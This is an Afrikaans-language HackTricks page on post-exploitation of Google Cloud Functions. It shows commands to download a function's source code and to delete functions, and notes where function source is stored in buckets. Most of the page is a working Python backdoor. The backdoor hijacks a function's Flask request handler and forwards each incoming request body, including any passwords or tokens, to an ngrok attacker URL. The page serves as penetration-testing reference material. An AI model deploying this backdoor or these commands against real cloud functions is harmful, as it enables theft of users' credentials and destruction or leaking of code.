# GCP - Cloud Functions Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Functions

Vind meer inligting oor Cloud Functions in:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.sourceCodeGet`

Met hierdie toestemming kan jy 'n **ondertekende URL kry om die bronkode van die Cloud Function af te laai**:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### `cloudfunctions.functions.delete`
Die `cloudfunctions.functions.delete` toestemming laat 'n identiteit toe om 'n Cloud Function heeltemal te verwyder, insluitend sy kode, konfigurasie, triggers, en die assosiasie met service accounts.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration deur die bucket
Die `storage.objects.get` en `storage.objects.list` permissions laat toe om objects binne 'n bucket te lys en te lees, en in die geval van Cloud Functions is dit veral relevant omdat elke function sy bronkode stoor in 'n outomaties bestuurde Google bucket, waarvan die naam die formaat `gcf-sources-<PROJECT_NUMBER>-<REGION>` volg


### Steel Cloud Function-versoeke

As die Cloud Function sensitiewe inligting hanteer wat gebruikers stuur (bv. wagwoorde of tokens), kan jy met genoeg privilegies **modify the source code of the function and exfiltrate** hierdie inligting.

Verder gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel; as jy op een of ander manier 'n code injection kwetsbaarheid binne die flaks proses vind (byvoorbeeld 'n SSTI kwetsbaarheid), is dit moontlik om **override the function handler** wat die HTTP requests gaan ontvang, te implementeer vir 'n **malicious function** wat die request kan **exfiltrate the request** voordat dit aan die legit handler deurgegee word.

Byvoorbeeld hierdie code implementeer die aanval:
```python
import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}
